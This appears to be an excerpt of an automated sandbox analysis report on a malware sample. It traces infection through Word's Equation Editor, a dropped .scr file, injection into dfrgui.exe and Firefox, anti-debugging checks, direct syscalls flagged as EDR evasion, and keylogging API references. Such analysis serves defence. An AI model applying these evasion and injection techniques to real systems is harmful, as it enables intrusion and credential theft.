Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\op55336.scr	Memory allocated: 150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Memory allocated: 2490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\op55336.scr

Code function: 6_2_00EF0101 rdtsc

6_2_00EF0101

Source: C:\Users\user\AppData\Roaming\op55336.scr

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Window / User API: threadDelayed 9670

Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqlite3.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\dfrgui.exe

API coverage: 2.2 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2592	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr TID: 3212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3536	Thread sleep count: 289 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3536	Thread sleep time: -578000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3684	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3536	Thread sleep count: 9670 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3536	Thread sleep time: -19340000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3416	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe TID: 3596	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe TID: 3596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe TID: 3596	Thread sleep time: -40500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\dfrgui.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\dfrgui.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Code function: 8_2_61E19553 sqlite3_os_init,GetSystemInfo,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,

8_2_61E19553

Source: C:\Users\user\AppData\Roaming\op55336.scr

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847199348.0000000000464000.00000004.00000020.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000000.392215507.0000000000464000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: t hFHgFS

Source: C:\Users\user\AppData\Roaming\op55336.scr

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\op55336.scr	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\op55336.scr

Code function: 6_2_00EF0101 rdtsc

6_2_00EF0101

Source: C:\Users\user\AppData\Roaming\op55336.scr

Code function: 6_2_00418BA3 LdrLoadDll,

6_2_00418BA3

Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E900EA mov eax, dword ptr fs:[00000030h]	6_2_00E900EA
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00E90080 mov ecx, dword ptr fs:[00000030h]	6_2_00E90080
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EB26F8 mov eax, dword ptr fs:[00000030h]	6_2_00EB26F8

Source: C:\Users\user\AppData\Roaming\op55336.scr

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: opp[1].scr.2.dr, ---.cs	Reference to suspicious API methods: _061D_FFFD_FFFD.GetAsyncKeyState(16)
Source: opp[1].scr.2.dr, -C--.cs	Reference to suspicious API methods: _061D_FFFD_FFFD.OpenProcess(_FFFD, iW_005E_06E8_061C, R)
Source: opp[1].scr.2.dr, j.cs	Reference to suspicious API methods: _061D_FFFD_FFFD.MapVirtualKey(_07B8.union.keyboardInput.wVk, 0)
Source: 5.2.op55336.scr.249f184.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 5.2.op55336.scr.249f184.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 5.2.op55336.scr.249f184.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQueryInformationProcess: Direct from: 0x774CFAFA	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtCreateUserProcess: Direct from: 0x774D093E	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtCreateKey: Direct from: 0x774CFB62	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQuerySystemInformation: Direct from: 0x774D20DE	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQueryDirectoryFile: Direct from: 0x774CFDBA	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtClose: Direct from: 0x774CFA02
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtWriteVirtualMemory: Direct from: 0x774D213E	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtCreateFile: Direct from: 0x774D00D6	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetTimer: Direct from: 0x774D021A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtOpenFile: Direct from: 0x774CFD86	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetInformationThread: Direct from: 0x774E9893	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtOpenKeyEx: Direct from: 0x774CFA4A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtAllocateVirtualMemory: Direct from: 0x774CFAE2	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtResumeThread: Direct from: 0x774D008D	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtOpenKeyEx: Direct from: 0x774D103A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtUnmapViewOfSection: Direct from: 0x774CFCA2	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtDelayExecution: Direct from: 0x774CFDA1	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetInformationProcess: Direct from: 0x774CFB4A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetInformationThread: Direct from: 0x774CF9CE	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtReadFile: Direct from: 0x774CF915	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtMapViewOfSection: Direct from: 0x774CFC72	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtCreateThreadEx: Direct from: 0x774D08C6	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtDeviceIoControlFile: Direct from: 0x774CF931	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtRequestWaitReplyPort: Direct from: 0x753C6BCE	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQueryValueKey: Direct from: 0x774CFACA	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtOpenSection: Direct from: 0x774CFDEA	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtProtectVirtualMemory: Direct from: 0x774D005A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtWriteVirtualMemory: Direct from: 0x774CFE36	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtRequestWaitReplyPort: Direct from: 0x756F8D92	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQueryVolumeInformationFile: Direct from: 0x774CFFAE	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtNotifyChangeKey: Direct from: 0x774D0F92	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQueryAttributesFile: Direct from: 0x774CFE7E	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtReadVirtualMemory: Direct from: 0x774CFEB2	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetTimer: Direct from: 0x774E98D5	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtSetInformationFile: Direct from: 0x774CFC5A	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	NtQuerySystemInformation: Direct from: 0x774CFDD2	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\op55336.scr

Memory written: C:\Users\user\AppData\Roaming\op55336.scr base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: NULL target: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: NULL target: C:\Users\user\AppData\Roaming\op55336.scr protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: NULL target: C:\Windows\SysWOW64\dfrgui.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\dfrgui.exe

Thread APC queued: target process: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000000.392233871.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847287088.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000000.427816672.0000000000890000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000000.392233871.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847287088.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000000.427816672.0000000000890000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
